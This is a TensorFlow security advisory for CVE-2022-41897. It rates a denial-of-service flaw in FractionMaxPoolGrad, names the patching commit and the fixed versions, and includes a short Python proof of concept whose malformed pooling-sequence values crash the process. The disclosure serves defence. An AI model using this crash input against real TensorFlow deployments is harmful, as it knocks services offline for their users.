7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.001 Low
EPSS
Percentile
43.6%
If FractionMaxPoolGrad
is given outsize inputs row_pooling_sequence
and col_pooling_sequence
, TensorFlow will crash.
import tensorflow as tf
tf.raw_ops.FractionMaxPoolGrad(
orig_input = [[[[1, 1, 1, 1, 1]]]],
orig_output = [[[[1, 1, 1]]]],
out_backprop = [[[[3], [3], [6]]]],
row_pooling_sequence = [-0x4000000, 1, 1],
col_pooling_sequence = [-0x4000000, 1, 1],
overlapping = False
)
We have patched the issue in GitHub commit d71090c3e5ca325bdf4b02eb236cfb3ee823e927.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Vul AI.
github.com/tensorflow/tensorflow
github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/fractional_max_pool_op.cc
github.com/tensorflow/tensorflow/commit/d71090c3e5ca325bdf4b02eb236cfb3ee823e927
github.com/tensorflow/tensorflow/security/advisories/GHSA-f2w8-jw48-fr7j
nvd.nist.gov/vuln/detail/CVE-2022-41897